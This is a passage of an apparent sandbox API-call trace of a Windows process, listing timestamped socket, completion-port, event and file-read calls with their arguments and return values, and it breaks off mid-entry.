WSAIoctl (in: s=0x35c, dwIoControlCode=0x98000004, lpvInBuffer=0xc0006552c4, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0xc0006552b4, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0xc0006552b4, lpOverlapped=0x0) returned 0 [0285.127] VirtualAlloc (lpAddress=0xc0006da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0006da000 [0285.128] WSARecv (in: s=0x35c, lpBuffers=0xc0000491d8, dwBufferCount=0x1, lpNumberOfBytesRecvd=0xc0000491c8, lpFlags=0xc000049248*=0x0, lpOverlapped=0xc000049198, lpCompletionRoutine=0x0 | out: lpBuffers=0xc0000491d8*=((len=0x1000, buf=0xc0006da000*)), lpNumberOfBytesRecvd=0xc0000491c8*=0x0, lpFlags=0xc000049248*=0x0, lpOverlapped=0xc000049198) returned 0 [0285.128] WSASend (in: s=0x35c, lpBuffers=0xc0000492a8*=((len=0xaf, buf=0xc0006db000*)), dwBufferCount=0x1, lpNumberOfBytesSent=0xc000049298, dwFlags=0x0, lpOverlapped=0xc000049268, lpCompletionRoutine=0x0 | out: lpNumberOfBytesSent=0xc000049298*=0xaf, lpOverlapped=0xc000049268) returned 0 [0285.134] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 0 [0285.134] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x11d6, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 1 [0285.171] WSAGetOverlappedResult (in: s=0x35c, lpOverlapped=0xc000049198, lpcbTransfer=0x4b5bf434, fWait=0, lpdwFlags=0x4b5bf440 | out: lpcbTransfer=0x4b5bf434, lpdwFlags=0x4b5bf440) returned 1 [0285.171] SetEvent (hEvent=0x1ac) returned 1 [0285.172] closesocket (s=0x35c) returned 0 [0285.172] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf470, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf440, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf470, ulNumEntriesRemoved=0x4b5bf440) returned 0 [0285.172] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf470, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf440, dwMilliseconds=0x11b7, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf470, ulNumEntriesRemoved=0x4b5bf440) returned 1 [0289.651] WSAGetOverlappedResult (in: s=0x1f4, lpOverlapped=0xc000716518, lpcbTransfer=0x4b5bf43c, fWait=0, lpdwFlags=0x4b5bf448 | out: lpcbTransfer=0x4b5bf43c, lpdwFlags=0x4b5bf448) returned 1 [0289.651] closesocket (s=0x1f4) returned 0 [0289.652] SetEvent (hEvent=0x1ac) returned 1 [0289.652] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf470, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf440, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf470, ulNumEntriesRemoved=0x4b5bf440) returned 0 [0289.652] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf470, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf440, dwMilliseconds=0x30, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf470, ulNumEntriesRemoved=0x4b5bf440) returned 0 [0289.740] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf470, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf440, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf470, ulNumEntriesRemoved=0x4b5bf440) returned 0 [0289.740] SetEvent (hEvent=0x1ac) returned 1 [0289.741] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 0 [0289.741] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x26e2, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 0 [0299.745] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 0 [0299.746] SetEvent (hEvent=0x1ac) returned 1 [0299.746] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 0 [0299.746] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x26dd, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 0 [0309.732] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 0 [0309.733] SetEvent (hEvent=0x1ac) returned 1 [0309.733] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 0 [0309.733] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0xffffffff, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 1 [0309.908] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 0 [0309.908] GetQueuedCompletionStatusEx (in: CompletionPort=0x170, lpCompletionPortEntries=0x4b5bf468, ulCount=0x10, ulNumEntriesRemoved=0x4b5bf438, dwMilliseconds=0x2639, fAlertable=0 | out: lpCompletionPortEntries=0x4b5bf468, ulNumEntriesRemoved=0x4b5bf438) returned 1 [0310.905] SetEvent (hEvent=0x114) returned 1 [0310.934] ExitProcess (uExitCode=0x0) Thread: id = 14 os_tid = 0x1748 [0181.057] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x4d19fd78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x4d19fd78*=0x1a4) returned 1 [0181.057] GetCurrentThreadId () returned 0x1748 [0181.057] CreateWaitableTimerExW (lpTimerAttributes=0x0, lpTimerName=0x0, dwFlags=0x2, dwDesiredAccess=0x100003) returned 0x1a8 [0181.057] VirtualQuery (in: lpAddress=0x4d19fd98, lpBuffer=0x4d19fd98, dwLength=0x30 | out: lpBuffer=0x4d19fd98*(BaseAddress=0x4d19f000, AllocationBase=0x4cfa0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0181.058] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1ac [0181.058] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1b0 [0181.058] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0181.090] SwitchToThread () returned 1 [0181.124] SetEvent (hEvent=0xec) returned 1 [0181.124] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0181.224] SetEvent (hEvent=0x114) returned 1 [0181.224] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0181.669] SetEvent (hEvent=0x114) returned 1 [0181.669] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0181.672] SetEvent (hEvent=0xec) returned 1 [0181.673] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0181.689] SetEvent (hEvent=0xec) returned 1 [0181.689] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0181.697] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0184.056] SetEvent (hEvent=0x114) returned 1 [0184.056] SetEvent (hEvent=0xec) returned 1 [0184.056] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0184.064] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0184.085] SetEvent (hEvent=0x114) returned 1 [0184.085] SetEvent (hEvent=0xec) returned 1 [0184.085] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0184.213] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0184.217] SetEvent (hEvent=0x114) returned 1 [0184.217] SetEvent (hEvent=0xec) returned 1 [0184.217] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0184.619] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0184.627] SwitchToThread () returned 1 [0184.628] SetEvent (hEvent=0xec) returned 1 [0184.628] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0184.737] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0190.270] SetEvent (hEvent=0x114) returned 1 [0190.270] VirtualAlloc (lpAddress=0xc0006c0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0006c0000 [0190.271] ReadFile (in: hFile=0x2bc, lpBuffer=0xc0006c0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc00002dd6c, lpOverlapped=0x0 | out: lpBuffer=0xc0006c0000, lpNumberOfBytesRead=0xc00002dd6c*=0x0, lpOverlapped=0x0) returned 0 [0191.855] CancelIoEx (hFile=0x2bc, lpOverlapped=0x0) returned 0 [0191.855] CloseHandle (hObject=0x2bc) returned 1 [0191.855] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0xffffffff) returned 0x0 [0191.935] SetEvent (hEvent=0x1b8) returned 1 [0191.935] ReadFile (in: hFile=0x2a0, lpBuffer=0xc0000e6800, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc0000e6800*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.179] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c02, nNumberOfBytesToRead=0x3fe, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c02*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.180] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c1b, nNumberOfBytesToRead=0x3e5, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c1b*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.181] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c1c, nNumberOfBytesToRead=0x3e4, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c1c*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.182] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c24, nNumberOfBytesToRead=0x3dc, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c24*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.183] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c25, nNumberOfBytesToRead=0x3db, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c25*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.184] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c35, nNumberOfBytesToRead=0x3cb, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c35*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.186] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c36, nNumberOfBytesToRead=0x3ca, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c36*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.187] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c41, nNumberOfBytesToRead=0x3bf, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c41*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.188] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c42, nNumberOfBytesToRead=0x3be, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c42*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.189] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c4e, nNumberOfBytesToRead=0x3b2, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c4e*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.190] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c50, nNumberOfBytesToRead=0x3b0, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c50*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.193] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c69, nNumberOfBytesToRead=0x397, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c69*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.194] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c6a, nNumberOfBytesToRead=0x396, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c6a*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.196] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c72, nNumberOfBytesToRead=0x38e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c72*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.196] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c73, nNumberOfBytesToRead=0x38d, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c73*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.197] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c83, nNumberOfBytesToRead=0x37d, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c83*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.199] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c84, nNumberOfBytesToRead=0x37c, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c84*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.200] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c8f, nNumberOfBytesToRead=0x371, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c8f*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.201] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c90, nNumberOfBytesToRead=0x370, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c90*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.202] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c9c, nNumberOfBytesToRead=0x364, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c9c*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.204] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299c9e, nNumberOfBytesToRead=0x362, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299c9e*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.205] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299cb7, nNumberOfBytesToRead=0x349, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299cb7*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.207] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299cb8, nNumberOfBytesToRead=0x348, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299cb8*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.208] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299cc0, nNumberOfBytesToRead=0x340, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299cc0*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.211] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299cc1, nNumberOfBytesToRead=0x33f, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299cc1*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.220] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299cd1, nNumberOfBytesToRead=0x32f, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299cd1*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.222] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299cd2, nNumberOfBytesToRead=0x32e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299cd2*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.223] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299cdd, nNumberOfBytesToRead=0x323, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299cdd*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.224] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299cde, nNumberOfBytesToRead=0x322, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299cde*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.225] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299cea, nNumberOfBytesToRead=0x316, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299cea*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.226] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299cec, nNumberOfBytesToRead=0x314, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299cec*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.227] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d05, nNumberOfBytesToRead=0x2fb, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d05*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.228] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d06, nNumberOfBytesToRead=0x2fa, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d06*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.229] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d0e, nNumberOfBytesToRead=0x2f2, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d0e*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.230] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d0f, nNumberOfBytesToRead=0x2f1, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d0f*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.231] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d1f, nNumberOfBytesToRead=0x2e1, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d1f*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.232] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d20, nNumberOfBytesToRead=0x2e0, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d20*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.233] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d2b, nNumberOfBytesToRead=0x2d5, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d2b*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.235] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d2c, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d2c*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.341] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d38, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d38*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.383] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d3a, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d3a*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.384] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d53, nNumberOfBytesToRead=0x2ad, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d53*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.385] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d54, nNumberOfBytesToRead=0x2ac, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d54*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.386] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d5c, nNumberOfBytesToRead=0x2a4, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d5c*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.387] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d5d, nNumberOfBytesToRead=0x2a3, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d5d*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.388] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d6d, nNumberOfBytesToRead=0x293, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d6d*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.389] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d6e, nNumberOfBytesToRead=0x292, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d6e*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.390] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d79, nNumberOfBytesToRead=0x287, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d79*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.396] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d7a, nNumberOfBytesToRead=0x286, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d7a*, lpNumberOfBytesRead=0xc00025bd14*=0xc, lpOverlapped=0x0) returned 1 [0193.398] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d86, nNumberOfBytesToRead=0x27a, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d86*, lpNumberOfBytesRead=0xc00025bd14*=0x2, lpOverlapped=0x0) returned 1 [0193.399] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299d88, nNumberOfBytesToRead=0x278, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299d88*, lpNumberOfBytesRead=0xc00025bd14*=0x19, lpOverlapped=0x0) returned 1 [0193.400] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299da1, nNumberOfBytesToRead=0x25f, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299da1*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.402] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299da2, nNumberOfBytesToRead=0x25e, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299da2*, lpNumberOfBytesRead=0xc00025bd14*=0x8, lpOverlapped=0x0) returned 1 [0193.403] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299daa, nNumberOfBytesToRead=0x256, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299daa*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.404] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299dab, nNumberOfBytesToRead=0x255, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299dab*, lpNumberOfBytesRead=0xc00025bd14*=0x10, lpOverlapped=0x0) returned 1 [0193.406] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299dbb, nNumberOfBytesToRead=0x245, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299dbb*, lpNumberOfBytesRead=0xc00025bd14*=0x1, lpOverlapped=0x0) returned 1 [0193.412] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299dbc, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0xc00025bd14, lpOverlapped=0x0 | out: lpBuffer=0xc000299dbc*, lpNumberOfBytesRead=0xc00025bd14*=0xb, lpOverlapped=0x0) returned 1 [0193.414] ReadFile (in: hFile=0x2a0, lpBuffer=0xc000299dc7, 